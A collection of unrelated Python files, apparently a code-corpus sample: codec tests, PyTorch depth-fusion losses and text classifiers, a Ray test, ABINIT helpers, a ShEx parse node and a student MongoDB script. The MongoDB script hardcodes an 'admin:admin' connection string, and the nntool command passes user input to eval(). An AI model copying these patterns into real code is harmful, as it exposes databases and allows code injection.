self.assertEqual("0.0.255", self.codec.encodeStartPoint((0, 255)))
# outside
self.assertEqual("0.1234.5678", self.codec.encodeStartPoint((1234, 5678)))
self.assertEqual("0.5678.1234", self.codec.encodeStartPoint((5678, 1234)))
def test_encodeEndPoint(self):
self.assertEqual("1.37.59", self.codec.encodeEndPoint((37, 59)))
self.assertEqual("1.59.37", self.codec.encodeEndPoint((59, 37)))
self.assertEqual("1.0.0", self.codec.encodeEndPoint((0, 0)))
self.assertEqual("1.255.0", self.codec.encodeEndPoint((255, 0)))
self.assertEqual("1.255.255", self.codec.encodeEndPoint((255, 255)))
self.assertEqual("1.0.255", self.codec.encodeEndPoint((0, 255)))
# outside
self.assertEqual("1.1234.5678", self.codec.encodeEndPoint((1234, 5678)))
self.assertEqual("1.5678.1234", self.codec.encodeEndPoint((5678, 1234)))
def test_encodeControlPoint(self):
self.assertEqual("2.37.59", self.codec.encodeControlPoint((37, 59)))
self.assertEqual("2.59.37", self.codec.encodeControlPoint((59, 37)))
self.assertEqual("2.0.0", self.codec.encodeControlPoint((0, 0)))
self.assertEqual("2.255.0", self.codec.encodeControlPoint((255, 0)))
self.assertEqual("2.255.255", self.codec.encodeControlPoint((255, 255)))
self.assertEqual("2.0.255", self.codec.encodeControlPoint((0, 255)))
# outside
self.assertEqual("2.1234.5678", self.codec.encodeControlPoint((1234, 5678)))
self.assertEqual("2.5678.1234", self.codec.encodeControlPoint((5678, 1234)))
def test_isStartPoint(self):
self.assertTrue(self.codec.isStartPoint("0.37.59"))
self.assertFalse(self.codec.isStartPoint("1.37.59"))
self.assertFalse(self.codec.isStartPoint("2.37.59"))
def test_isEndPoint(self):
self.assertFalse(self.codec.isEndPoint("0.37.59"))
self.assertTrue(self.codec.isEndPoint("1.37.59"))
self.assertFalse(self.codec.isEndPoint("2.37.59"))
def test_isControlPoint(self):
self.assertFalse(self.codec.isControlPoint("0.37.59"))
self.assertFalse(self.codec.isControlPoint("1.37.59"))
self.assertTrue(self.codec.isControlPoint("2.37.59"))
def test_decodePointExpression(self):
self.assertEqual((37, 59), self.codec.decodePointExpression("0.37.59"))
self.assertEqual((37, 59), self.codec.decodePointExpression("1.37.59"))
self.assertEqual((37, 59), self.codec.decodePointExpression("2.37.59"))
self.assertEqual((59, 37), self.codec.decodePointExpression("0.59.37"))
self.assertEqual((59, 37), self.codec.decodePointExpression("1.59.37"))
self.assertEqual((59, 37), self.codec.decodePointExpression("2.59.37"))
|
from output.models.nist_data.atomic.unsigned_byte.schema_instance.nistschema_sv_iv_atomic_unsigned_byte_min_inclusive_4_xsd.nistschema_sv_iv_atomic_unsigned_byte_min_inclusive_4 import NistschemaSvIvAtomicUnsignedByteMinInclusive4
__all__ = [
"NistschemaSvIvAtomicUnsignedByteMinInclusive4",
]
|
"""
Jonathan Moore 30JAN2022 m5.3 assignment
this module queries the database using find and find_one
"""
from pymongo import MongoClient
url = "mongodb+srv://admin:admin@cluster0.qyihp.mongodb.net/myFirstDatabase?retryWrites=true&w=majority"
client = MongoClient(url)
db = client.pytech
students = db.students
try:
print("\n- - DISPLAYING STUDENT DOCUMENTS FROM THE find() QUERY - -")
results = students.find({})
for result in results:
print(f"Student ID: {result['student_id']}")
print(f"First Name: {result['first_name']}")
print(f"Last Name: {result['last_name']}")
print("\n- - DISPLAYING STUDENT DOCUMENT FROM THE find_one() QUERY - -")
result = students.find_one({"student_id": 1007})
print(f"Student ID: {result['student_id']}")
print(f"First Name: {result['first_name']}")
print(f"Last Name: {result['last_name']}")
except Exception as e:
print(e)
|
from . import get_fixture
# import modules from the project for testing
from config_validation_engine.config_validation_engine import *
custom = {
'schema': 'schema.yml',
'bad': 'data_bad.yml',
'good': 'data_good.yml'
}
def test_validate():
print('Data')
print(custom['schema'])
# validate(custom['schema'], custom['good'])
validate(get_fixture('schema.yml'),get_fixture('data_good.yml'))
|
frase = 'Curso em Vídeo Python'
#print(frase[::3])
#print(frase.count('o'))
#print(frase.upper().count('o'))
#print(len(frase))
#print(frase.replace('Vídeo','Android'))
#frase = frase.replace('Python','Android')
#print(frase.split())
|
# Copyright (C) 2020 GreenWaves Technologies, SAS
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
import argparse
import json
import logging
import os
import numpy as np
from cmd2 import Cmd, Cmd2ArgumentParser, with_argparser
from importer.common.handler_options import HandlerOptions
from importer.importer import create_graph
from interpreter.nntool_shell_base import NNToolShellBase
from quantization.cross_layer_range_eq import weight_equalization
from utils.argparse_kwargs import kwargs_append_action
from graph.matches.matchers.fuse_pad import MatchFusePad
LOG = logging.getLogger("nntool")
STATE_EXTENSION = '.json'
NO_GRAPH = {
'G': None,
'graph_file': "",
'tensor_file': ""
}
valid_keys = {
'*': {
'type': int
},
}
valid_keys_arrays = {
'*': {
'type': lambda x: eval(f'np.array({x})', {}, {'np': np})
},
}
def add_open_options(parser):
# add all the options defined by import handlers
# if a boolean option has a default of True then add a --no-option-name
# flag option
for option in HandlerOptions.get_all_handler_options().values():
add_kwargs = {}
if option['val_type'] == bool and option['default']:
add_args = [f'--no_{option["name"]}']
add_kwargs['help'] = f'disable option {option["name"]}: {option["desc"]}'
elif option['shortcut']:
add_args = [f'-{option["shortcut"]}', f'--{option["name"]}']
add_kwargs['help'] = option['desc']
else:
add_args = [f'--{option["name"]}']
add_kwargs['help'] = option['desc']
if option['val_type'] == bool:
add_kwargs['action'] = 'store_true'
else:
add_kwargs['type'] = option['val_type']
add_kwargs['default'] = option['default']
parser.add_argument(*add_args, **add_kwargs)
parser.add_argument('--subs',
nargs='*',
action=kwargs_append_action,
kwargs_valid_keys=valid_keys,
metavar="KEY=VALUE",
help='values to substitute for unknown dimensions in the form var=val',
)
parser.add_argument('--input_shapes',
nargs='*',
action=kwargs_append_action,
kwargs_valid_keys=valid_keys_arrays,
metavar="KEY=ARRAY_VALUE",
help=('shape to override input shape with. should be in the form input_name=[dim, dim, dim, etc]'
'where dim is either an integer or None if this axis should not be overriden'),
)
parser.add_argument('--fixed_inputs',
nargs='*',
action=kwargs_append_action,
kwargs_valid_keys=valid_keys_arrays,
metavar="KEY=ARRAY_VALUE",
help='inputs to fix to an array value. should be in the form input_name=array of arrays ...'
)
parser.add_argument('--out_ranges',
completer_method=Cmd.path_complete,
help='path to json file with: {"node_name": {"range": [min, max], "n_bits": 8, "per_channel": None, "dtype": np.int8}} out range to override particular qrecs'
)
def parse_open_options(file_path, args, settings):
_, ext = os.path.splitext(file_path)
ext = ext.lower()
if ext == STATE_EXTENSION:
return True, file_path, {'orgmodel_path': args.orgmodel_path}
else:
opts = {k: getattr(args, k) if (option['val_type'] != bool or not option['default'])
else not getattr(args, f'no_{option["name"]}')
for k, option in HandlerOptions.get_all_handler_options().items()}
opts['substitutions'] = args.subs
opts['input_shapes'] = args.input_shapes
opts['fixed_inputs'] = args.fixed_inputs
if args.out_ranges:
with open(args.out_ranges) as f:
opts['ranges_dict'] = json.load(f)
opts['anonymise'] = settings['anonymise']
return False, file_path, opts
class OpenCommand(NNToolShellBase):
STATE_EXTENSION = '.json'
# OPEN COMMAND
parser_open = Cmd2ArgumentParser("open a graph file")
parser_open.add_argument('nnfile',
completer_method=Cmd.path_complete,
help='graph or state file',
metavar="INPUT_GRAPH or STATE_FILE")
parser_open.add_argument('--orgmodel_path',
completer_method=Cmd.path_complete,
help='graph file', default=None,
metavar="INPUT_GRAPH or STATE_FILE")
parser_open.add_argument('-n', '--new',
help='open as new graph - keep existing graph open',
action='store_true')
add_open_options(parser_open)
def __open_graph(self, args):
graph_file = os.path.expanduser(args.nnfile)
is_state_file, graph_file, opts = parse_open_options(
graph_file, args, self.settings)
if is_state_file:
LOG.info("opening state file %s", graph_file)
self.load_state_file(graph_file, args.orgmodel_path)
else:
LOG.info("opening graph file %s load_quantization = %s",
graph_file, opts['load_quantization'])
self.open_graph(graph_file, **opts)
self.settings['load_quantization'] = bool(
opts['load_quantization'])
if self.settings['adjust_order']:
LOG.info("adjusting order")
self.execute_adjust_order()
if self.settings['weight_equalization']:
LOG.info("equalizing weights")
weight_equalization(
self.G, self.settings['equalization_threshold'])
@with_argparser(parser_open)
def do_open(self, args: argparse.Namespace):
"""
Open a graph or state file"""
if args.new:
# reset the current graph
self._graphs.append(NO_GRAPH.copy())
self._graph_idx = len(self._graphs) - 1
self._reset_history()
else:
# reset the current graph
self._graphs[self._graph_idx] = NO_GRAPH.copy()
self.__open_graph(args)
self._update_prompt()
self.py_locals['G'] = self.G
def open_graph(self, file_path, **kwargs):
G = create_graph(file_path, opts=kwargs)
G.add_dimensions()
pad_fuser = MatchFusePad()
pad_fuser.match(G)
G.add_dimensions()
self.G = G
self.graph_file = file_path
self._reset_history()
|
"""
A simple unit test of 'run_deep_trainer.py'
"""
import run_deep_trainer
def test_deep_trainer():
# pass args=[] so we can pass options to nosetests on the command line
run_deep_trainer.main(args=[])
|
# -*- coding: utf-8 -*-
# <nbformat>3.0</nbformat>
# <codecell>
from classy import *
from classy import image
# <codecell>
images=image.load_images('data/digits')
# <markdowncell>
# with overlapping patches...
# <codecell>
data=image.images_to_patch_vectors(images,(4,4))
# <markdowncell>
# or with non-overlapping patches...
# <codecell>
data=image.images_to_patch_vectors(images,(4,4),overlap=False)
# <markdowncell>
# then do classification...
# <codecell>
data_train,data_test=split(data)
# <codecell>
C=NaiveBayes()
timeit(reset=True)
C.fit(data_train.vectors,data_train.targets)
print "Training time: ",timeit()
# <codecell>
print "On Training Set:",C.percent_correct(data_train.vectors,data_train.targets)
print "On Test Set:",C.percent_correct(data_test.vectors,data_test.targets)
# <codecell>
|
import torch
import numpy as np
from torch import nn
class NeuralFusionLoss(nn.Module):
def __init__(self, config, reduction='none', l1=True, l2=True):
super().__init__()
self.criterion1 = nn.L1Loss(reduction=reduction)
self.criterion2 = nn.MSELoss(reduction=reduction)
self.criterion3 = nn.BCELoss(reduction=reduction)
self.criterion4 = RegularizeLoss(reduction=reduction)
self.lambda1 = 1. if l1 else 0.
self.lambda2 = 10. if l2 else 0.
self.lambda3 = 0.01
self.lambda4 = 0.05
def forward(self, output):
l1 = self.criterion1(output['tsdf_est'], output['tsdf_target'])
l2 = self.criterion2(output['tsdf_est'], output['tsdf_target'])
l3 = self.criterion3(output['occ_est'], output['occ_target'])
l4 = self.criterion4(output['feature_est'])
normalization = torch.ones_like(output['tsdf_est']).sum()
l1 = l1.sum() / normalization
l2 = l2.sum() / normalization
l3 = l3.sum() / normalization
l4 = l4.sum() / normalization
loss = self.lambda1 * l1 + self.lambda2 * l2 + self.lambda3 * l3 + self.lambda4 * l4
return loss
class RegularizeLoss(nn.Module):
def __init__(self, reduction='none'):
super().__init__()
def forward(self, est):
var = torch.var(est, dim=-1, unbiased=False)
return var.mean()
class FusionLoss(torch.nn.Module):
def __init__(self, config, reduction='none', l1=True, l2=True, cos=True):
super(FusionLoss, self).__init__()
self.criterion1 = torch.nn.L1Loss(reduction=reduction)
self.criterion2 = torch.nn.MSELoss(reduction=reduction)
self.criterion3 = torch.nn.CosineEmbeddingLoss(margin=0.0, reduction=reduction)
self.lambda1 = 1. if l1 else 0.
self.lambda2 = 0. if l2 else 0.
self.lambda3 = 0.1 if cos else 0.
def forward(self, est, target):
if est.shape[1] == 0:
return torch.ones_like(est).sum().clamp(min=1)
x1 = torch.sign(est)
x2 = torch.sign(target)
x1 = x1[:, :, :]
x2 = x2[:, :, :]
label = torch.ones_like(x1)
#TODO: clamping
# est = torch.clamp(est, -0.1, 0.1)
# target = torch.where(torch.abs(target) >= 0.01, 0.01*torch.ones_like(target), target)
l1 = self.criterion1.forward(est, target)
l2 = self.criterion2.forward(est, target)
l3 = self.criterion3.forward(x1, x2, label)
normalization = torch.ones_like(l1).sum()
l_vis = l1 + l2 + l3
l_vis /= normalization
l1 = l1.sum() / normalization
l2 = l2.sum() / normalization
l3 = l3.sum() / normalization
l = self.lambda1*l1 + self.lambda2*l2 + self.lambda3*l3
return l
class RoutingLoss(torch.nn.Module):
def __init__(self, config):
super(RoutingLoss, self).__init__()
self.criterion1 = GradientWeightedDepthLoss(config)
self.criterion2 = UncertaintyDepthLoss(config)
def forward(self, prediction, uncertainty, target, gradient_mask=None):
l1 = self.criterion1.forward(prediction, target, gradient_mask)
l2 = self.criterion2.forward(prediction, uncertainty, target, gradient_mask)
return l1 + l2
class GradientWeightedDepthLoss(torch.nn.Module):
"""
A simple L1 loss, but restricted to the cropped center of the image.
It also does not count pixels outside of a given range of values (in target).
Additionally, there is also an L1 loss on the gradient.
"""
def __init__(self, config, crop_fraction=0.0, vmin=0, vmax=1, limit=10, weight_scale=1.0):
"""
The input should be (batch x channels x height x width).
We L1-penalize the inner portion of the image,
with crop_fraction cut off from all borders.
Keyword arguments:
crop_fraction -- fraction to cut off from all sides (defaults to 0.25)
vmin -- minimal (GT!) value to supervise
vmax -- maximal (GT!) value to supervise
limit -- anything higher than this is wrong, and should be ignored
"""
super(GradientWeightedDepthLoss, self).__init__()
self.weight_scale = config.weight_scale
self.limit = config.limit
self.crop_fraction = config.crop_fraction
"Cut-off fraction"
self.vmin = config.vmin
"Lower bound for valid target pixels"
self.vmax = config.vmax
"Upper bound for valid target pixels"
self.sobel_x = torch.nn.Conv2d(1, 1, kernel_size=3, stride=1, padding=1, bias=False)
self.sobel_x.weight = torch.nn.Parameter(torch.from_numpy(np.array([[1, 0, -1],[2,0,-2],[1,0,-1]])/8.).float().unsqueeze(0).unsqueeze(0))
self.sobel_y = torch.nn.Conv2d(1, 1, kernel_size=3, stride=1, padding=1, bias=False)
self.sobel_y.weight = torch.nn.Parameter(torch.from_numpy(np.array([[1, 2, 1],[0,0,0],[-1,-2,-1]])/8.).float().unsqueeze(0).unsqueeze(0))
gpu = torch.device('cuda')
self.sobel_x = self.sobel_x.to(gpu)
self.sobel_y = self.sobel_y.to(gpu)
def forward(self, input, target, gradient_mask=None):
height = input.size(2)
heightcrop = int(height * self.crop_fraction)
width = input.size(3)
widthcrop = int(width * self.crop_fraction)
if self.crop_fraction > 0:
input_crop = input[:,:,heightcrop:height-heightcrop,widthcrop:width-widthcrop]
target_crop = target[:,:,heightcrop:height-heightcrop,widthcrop:width-widthcrop]
else:
input_crop = input
target_crop = target
valid_mask = (target_crop.le(self.vmax) * target_crop.ge(self.vmin)).float()
input_gradx = self.sobel_x(input_crop)
input_grady = self.sobel_y(input_crop)
target_gradx = self.sobel_x(target_crop)
target_grady = self.sobel_y(target_crop)
grad_maskx = self.sobel_x(valid_mask)
grad_masky = self.sobel_y(valid_mask)
grad_valid_mask = (grad_maskx.eq(0) * grad_masky.eq(0)).float()*valid_mask
if gradient_mask is not None:
grad_valid_mask[gradient_mask == 0] = 0
gradloss = torch.abs( (input_gradx - target_gradx) ) + torch.abs( (input_grady - target_grady) )
# weight l1 loss with gradient
weights = self.weight_scale*gradloss + torch.ones_like(gradloss)
gradloss = (gradloss * grad_valid_mask ).sum()
gradloss = gradloss / grad_valid_mask.sum().clamp(min=1)
loss = torch.abs((input_crop - target_crop) * valid_mask)
loss = torch.mul(weights, loss).sum()
loss = loss / valid_mask.sum().clamp(min=1)
loss = loss + gradloss
# if this loss value is not plausible, cap it (which will also not backprop gradients)
if self.limit is not None and loss > self.limit:
loss = torch.clamp(loss, max=self.limit)
if loss.ne(loss).item():
print("Nan loss!")
return loss
class UncertaintyDepthLoss(torch.nn.Module):
"""
A simple L1 loss, but restricted to the cropped center of the image.
It also does not count pixels outside of a given range of values (in target).
Additionally, there is also an L1 loss on the gradient.
"""
def __init__(self, config):
"""
The input should be (batch x channels x height x width).
We L1-penalize the inner portion of the image,
with crop_fraction cut off from all borders.
Keyword arguments:
crop_fraction -- fraction to cut off from all sides (defaults to 0.25)
vmin -- minimal (GT!) value to supervise
vmax -- maximal (GT!) value to supervise
limit -- anything higher than this is wrong, and should be ignored
"""
super().__init__()
self.lambda_unc = config.lambda_unc
self.crop_fraction = config.crop_fraction
"Cut-off fraction"
self.vmin = config.vmin
"Lower bound for valid target pixels"
self.vmax = config.vmax
"Upper bound for valid target pixels"
self.sobel_x = torch.nn.Conv2d(1, 1, kernel_size=3, stride=1, padding=1, bias=False)
self.sobel_x.weight = torch.nn.Parameter(torch.from_numpy(np.array([[1, 0, -1],[2,0,-2],[1,0,-1]])/8.).float().unsqueeze(0).unsqueeze(0))
self.sobel_y = torch.nn.Conv2d(1, 1, kernel_size=3, stride=1, padding=1, bias=False)
self.sobel_y.weight = torch.nn.Parameter(torch.from_numpy(np.array([[1, 2, 1],[0,0,0],[-1,-2,-1]])/8.).float().unsqueeze(0).unsqueeze(0))
gpu = torch.device('cuda')
self.sobel_x = self.sobel_x.to(gpu)
self.sobel_y = self.sobel_y.to(gpu)
self.limit = config.limit
def forward(self, input, uncertainty, target, gradient_mask=None):
height = input.size(2)
heightcrop = int(height * self.crop_fraction)
width = input.size(3)
widthcrop = int(width * self.crop_fraction)
if self.crop_fraction > 0:
input_crop = input[:,:,heightcrop:height-heightcrop,widthcrop:width-widthcrop]
target_crop = target[:,:,heightcrop:height-heightcrop,widthcrop:width-widthcrop]
else:
input_crop = input
target_crop = target
valid_mask = (target_crop.le(self.vmax) * target_crop.ge(self.vmin)).float()
valid_mask[target == 0] = 0
input_gradx = self.sobel_x(input_crop)
input_grady = self.sobel_y(input_crop)
target_gradx = self.sobel_x(target_crop)
target_grady = self.sobel_y(target_crop)
grad_maskx = self.sobel_x(valid_mask)
grad_masky = self.sobel_y(valid_mask)
grad_valid_mask = (grad_maskx.eq(0) * grad_masky.eq(0)).float()*valid_mask
grad_valid_mask[target == 0] = 0
if gradient_mask is not None:
grad_valid_mask[gradient_mask == 0] = 0
s_i = uncertainty
p_i = torch.exp(-1. * s_i)
gradloss = torch.abs( (input_gradx - target_gradx) ) + torch.abs( (input_grady - target_grady) )
gradloss = (gradloss * grad_valid_mask )
gradloss = torch.mul(p_i, gradloss).sum()
gradloss = gradloss / grad_valid_mask.sum().clamp(min=1)
loss = torch.abs((input_crop - target_crop) * valid_mask)
loss = torch.mul(loss, p_i).sum()
loss = loss / valid_mask.sum().clamp(min=1)
# sum of loss terms with uncertainty included
loss = loss + gradloss + self.lambda_unc*0.5*uncertainty.sum()/valid_mask.sum().clamp(min=1)
# if this loss value is not plausible, cap it (which will also not backprop gradients)
if self.limit is not None and loss > self.limit:
loss = torch.clamp(loss, max=self.limit)
if loss.ne(loss).item():
print("Nan loss!")
return loss
|
import torch
import torch.nn as nn
import math
import json
from baseline.model import Classifier, load_classifier_model, create_classifier_model
from baseline.pytorch.torchy import *
from baseline.utils import listify
import torch.backends.cudnn as cudnn
cudnn.benchmark = True
class WordClassifierBase(nn.Module, Classifier):
def __init__(self):
super(WordClassifierBase, self).__init__()
@classmethod
def load(cls, outname, **kwargs):
model = torch.load(outname)
return model
def save(self, outname):
print('saving %s' % outname)
torch.save(self, outname)
@classmethod
def create(cls, embeddings_set, labels, **kwargs):
embeddings = embeddings_set['word']
finetune = kwargs.get('finetune', True)
dsz = embeddings.dsz
model = cls()
model.pdrop = kwargs.get('dropout', 0.5)
model.labels = labels
nc = len(labels)
model.vocab = embeddings.vocab
model.lut = pytorch_embedding(embeddings, finetune)
pool_dim = model._init_pool(dsz, **kwargs)
stacked_dim = model._init_stacked(pool_dim, **kwargs)
model._init_output(stacked_dim, nc)
print(model)
return model
def create_loss(self):
return nn.NLLLoss()
def __init__(self):
super(WordClassifierBase, self).__init__()
def make_input(self, batch_dict):
x = batch_dict['x']
y = batch_dict['y']
if type(x) == list:
x = [torch.autograd.Variable(item.cuda()) for item in x]
else:
x = torch.autograd.Variable(x.cuda())
y = torch.autograd.Variable(y.cuda())
return x, y
def forward(self, input):
# BxTxC
x = input[0]
embeddings = self.lut(x)
pooled = self._pool(embeddings)
stacked = self._stacked(pooled)
return self.output(stacked)
def classify(self, batch_dict):
return classify_bt(self, batch_dict['x'])
def get_labels(self):
return self.labels
def get_vocab(self):
return self.vocab
def _pool(self, embeddings):
pass
def _stacked(self, pooled):
if self.stacked is None:
return pooled
return self.stacked(pooled)
def _init_stacked(self, input_dim, **kwargs):
hszs = listify(kwargs.get('hsz', []))
if len(hszs) == 0:
self.stacked = None
return input_dim
self.stacked = nn.Sequential()
#append2seq(self.stacked, [nn.Dropout(self.pdrop)])
layers = []
in_layer_sz = input_dim
for i, hsz in enumerate(hszs):
layers.append(nn.Linear(in_layer_sz, hsz))
layers.append(nn.ReLU())
layers.append(nn.Dropout(self.pdrop))
in_layer_sz = hsz
append2seq(self.stacked, layers)
return in_layer_sz
def _init_output(self, input_dim, nc):
self.output = nn.Sequential()
append2seq(self.output, (
nn.Linear(input_dim, nc),
nn.LogSoftmax(dim=1)
))
def _init_pool(self, dsz, **kwargs):
pass
class ConvModel(WordClassifierBase):
def __init__(self):
super(ConvModel, self).__init__()
def _init_pool(self, dsz, **kwargs):
filtsz = kwargs['filtsz']
cmotsz = kwargs['cmotsz']
self.parallel_conv = ParallelConv(dsz, cmotsz, filtsz, "relu", self.pdrop)
return self.parallel_conv.outsz
def _pool(self, btc):
embeddings = btc.transpose(1, 2).contiguous()
return self.parallel_conv(embeddings)
class LSTMModel(WordClassifierBase):
def __init__(self):
super(LSTMModel, self).__init__()
def _init_pool(self, dsz, **kwargs):
unif = kwargs.get('unif')
hsz = kwargs.get('rnnsz', kwargs.get('hsz', 100))
if type(hsz) is list:
hsz = hsz[0]
self.lstm = nn.LSTM(dsz, hsz, 1, bias=True, batch_first=True, dropout=self.pdrop)
if unif is not None:
for weight in self.lstm.parameters():
weight.data.uniform_(-unif, unif)
return hsz
def _pool(self, embeddings):
output, hidden = self.lstm(embeddings)
last_frame = output[:, -1, :].squeeze(1)
return last_frame
class NBowBase(WordClassifierBase):
def _init__(self):
super(NBowBase, self)._init__()
def _init_pool(self, dsz, **kwargs):
return dsz
def _init_stacked(self, input_dim, **kwargs):
kwargs['hsz'] = kwargs.get('hsz', [100])
return super(NBowBase, self)._init_stacked(input_dim, **kwargs)
class NBowModel(NBowBase):
def __init__(self):
super(NBowModel, self).__init__()
def _pool(self, embeddings):
return torch.mean(embeddings, 1, False)
class NBowMaxModel(NBowBase):
def __init__(self):
super(NBowMaxModel, self).__init__()
def _pool(self, embeddings):
dmax, _ = torch.max(embeddings, 1, False)
return dmax
# These define the possible models for this backend
BASELINE_CLASSIFICATION_MODELS = {
'default': ConvModel.create,
'lstm': LSTMModel.create,
'nbow': NBowModel.create,
'nbowmax': NBowMaxModel.create
}
BASELINE_CLASSIFICATION_LOADERS = {
'default': ConvModel.load,
'lstm': LSTMModel.load,
'nbow': NBowModel.load,
'nbowmax': NBowMaxModel.create
}
def create_model(embeddings, labels, **kwargs):
return create_classifier_model(BASELINE_CLASSIFICATION_MODELS, embeddings, labels, **kwargs)
def load_model(outname, **kwargs):
return load_classifier_model(BASELINE_CLASSIFICATION_LOADERS, outname, **kwargs)
|
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import grpc
import psutil
import time
import ray
from ray.core.generated import node_manager_pb2
from ray.core.generated import node_manager_pb2_grpc
from ray.tests.utils import RayTestTimeoutException
def test_worker_stats(ray_start_regular):
raylet = ray.nodes()[0]
num_cpus = raylet["Resources"]["CPU"]
raylet_address = "{}:{}".format(raylet["NodeManagerAddress"],
ray.nodes()[0]["NodeManagerPort"])
channel = grpc.insecure_channel(raylet_address)
stub = node_manager_pb2_grpc.NodeManagerServiceStub(channel)
reply = stub.GetNodeStats(node_manager_pb2.NodeStatsRequest())
# Check that there is one connected driver.
drivers = [worker for worker in reply.workers_stats if worker.is_driver]
assert len(drivers) == 1
assert os.getpid() == drivers[0].pid
timeout_seconds = 20
start_time = time.time()
while True:
if time.time() - start_time > timeout_seconds:
raise RayTestTimeoutException(
"Timed out while waiting for worker processes")
# Wait for the workers to start.
if len(reply.workers_stats) < num_cpus + 1:
time.sleep(1)
reply = stub.GetNodeStats(node_manager_pb2.NodeStatsRequest())
continue
# Check that the rest of the processes are workers, 1 for each CPU.
assert len(reply.workers_stats) == num_cpus + 1
# Check that all processes are Python.
pids = [worker.pid for worker in reply.workers_stats]
processes = [
p.info["name"] for p in psutil.process_iter(attrs=["pid", "name"])
if p.info["pid"] in pids
]
for process in processes:
assert "python" in process or "ray" in process
break
|
import numpy as np
__all__ = ['get_kpt_variables', 'get_scf_variables', 'get_wfn_variables']
def get_kpt_variables(**kwargs):
"""Extract the variables to declare the k-points grid."""
variables = dict()
if 'kpt' in kwargs:
kpt = np.array(kwargs['kpt']).reshape((-1,3))
variables['kptopt'] = 0
variables['kpt'] = kpt
variables['nkpt'] = len(kpt)
variables['wtk'] = kwargs['wtk']
elif 'ngkpt' in kwargs:
variables['ngkpt'] = kwargs['ngkpt']
variables['kptopt'] = kwargs.get('kptopt', 1)
shiftk = np.array(kwargs.get('shiftk', 3*[0.])).reshape((-1,3))
variables['shiftk'] = shiftk
variables['nshiftk'] = len(shiftk)
return variables
def get_scf_variables(**kwargs):
"""Return a dict of variables required for an SCF calculation."""
variables = dict(
prtden = 1,
prtvxc = 1,
tolvrs = kwargs.get('tolvrs', 1e-10),
ecut = kwargs.get('ecut'),
)
return variables
def get_wfn_variables(**kwargs):
"""Return a dict of variables required for an SCF calculation."""
variables = dict(
irdden = 1,
nband = kwargs.get('nband'),
ecut = kwargs.get('ecut'),
tolwfr = kwargs.get('tolwfr', 1e-14),
iscf = kwargs.get('iscf', -3),
istwfk = kwargs.get('istwfk', '*1'),
)
return variables
|
from typing import Callable, Optional, List, Union, Tuple
from pyjsg.jsglib import JSGObject
from pyjsg.jsglib import isinstance_
from rdflib import BNode, URIRef, Graph
from pyshex.shapemap_structure_and_language.p1_notation_and_terminology import RDFGraph, Node
from pyshex.utils.collection_utils import format_collection
from pyshex.utils.n3_mapper import N3Mapper
class ParseNode:
def __init__(self,
function: Callable[["Context", Union[RDFGraph, Node], JSGObject], bool],
expr: JSGObject,
obj: Union[RDFGraph, Node],
cntxt: "Context"):
self.function = function
self.expr = expr
self.graph = obj if isinstance(obj, RDFGraph) else None
self.node = obj if isinstance_(obj, Node) else None
self.result: bool = None
self._fail_reason: Optional[str] = None
self.reason_stack: List[Tuple[Union[BNode, URIRef], Optional[str]]] = []
self.nodes: List[ParseNode] = []
self.n3m = cntxt.n3_mapper
def dump_bnodes(self, g: Graph, node: BNode, indent: str, top: bool = True) -> List[str]:
indent = indent + " "
collection = format_collection(g, node, 6)
if collection is not None:
return [indent + c for c in collection]
rval = []
if top:
for s, p in g.subject_predicates(node):
rval.append(f"{indent} {self.n3m.n3(s)} {self.n3m.n3(p)} {self.n3m.n3(node)} .")
for p, o in sorted(g.predicate_objects(node)):
rval += [f"{indent} {self.n3m.n3(node)} {self.n3m.n3(p)} {self.n3m.n3(o)} ."]
if isinstance(o, BNode):
rval += self.dump_bnodes(g, o, indent, top=False)
return rval
def fail_reasons(self, g: Graph, depth: int = 0) -> List[str]:
def follow_reasons(d: int) -> List[str]:
fr = []
if self._fail_reason:
fr.append(d * " " + f" {self._fail_reason}")
d += 1
for n in self.nodes:
fr += n.fail_reasons(g, d)
return fr
rval = []
for i in range(0, len(self.reason_stack)):
node, shape_name = self.reason_stack[i]
if not shape_name:
shape_name = '(unnamed shape)'
indent = (i+depth)*" "
rval.append(f"{indent} Testing {self.n3m.n3(node)} against shape {shape_name}")
if isinstance(node, BNode):
rval += [f"{indent} {self.n3m.n3(node)} context:"]
rval += self.dump_bnodes(g, node, indent)
rval[-1] = rval[-1] + '\n'
rval += follow_reasons(depth + len(self.reason_stack))
return rval
def set_result(self, rval: bool) -> None:
""" Set the result of the evaluation. If the result is true, prune all of the children that didn't cut it
:param rval: Result of evaluation
"""
self.result = rval
if self.result:
self.nodes = [pn for pn in self.nodes if pn.result]
|
import sys, yaml, os, os.path
sys.path.append(os.path.realpath(os.path.dirname(sys.argv[0])))
import tag_manager
from report_parser import LegatoReport
import pyparsing
def collect_access(tree):
if type(tree) == pyparsing.ParseResults:
to_ret = set()
for l in tree:
to_ret |= collect_access(tree[-1])
return to_ret
elif type(tree) == tuple:
assert tree[0] == 'C'
return set([tree[1]])
def enum_witnesses_loop(tr, curr, accum):
rec = False
for l in tr:
if type(l) == pyparsing.ParseResults:
rec = True
enum_witnesses_loop(l, list(curr), accum)
elif type(l) == tuple:
assert not rec
curr.append(l)
if not rec:
accum.append(curr)
def enumerate_witnesses(tr):
accum = []
enum_witnesses_loop(tr, [], accum)
return accum
def strip_branch(p):
if p[0] == "TR":
return (p[0], p[1], p[3])
else:
return p
def strip_tree(path):
return [ strip_branch(n) for n in path ]
class InputTree(object):
def __init__(self, tr):
self.paths = enumerate_witnesses(tr)
def get_head(self):
return self.paths[0][0]
def get_first_path(self):
return self.paths[0]
def print_path(p, start, end = 0):
it = start
while it >= end:
if p[it][0] == 'P':
print " +++ Symbolic input"
else:
try:
tags.print_tag(p[it][1])
except:
print p[it]
raise
it -= 1
def dump_path(p1, p2):
i = len(p1) - 1
j = len(p2) - 1
has_suff = False
while i >= 0 and j >= 0 and p1[i] == p2[j]:
has_suff = True
i-=1
j-=1
if has_suff:
print "Common call suffix:"
print_path(p1, len(p1) - 1, i + 1)
print "Divergence as follows:"
print ">>> FLOW 1"
print_path(p1, i)
print ">>> FLOW 2"
print_path(p2, j)
def explain_different_paths(trees):
tree_abs = [ InputTree(tree) for tree in trees ]
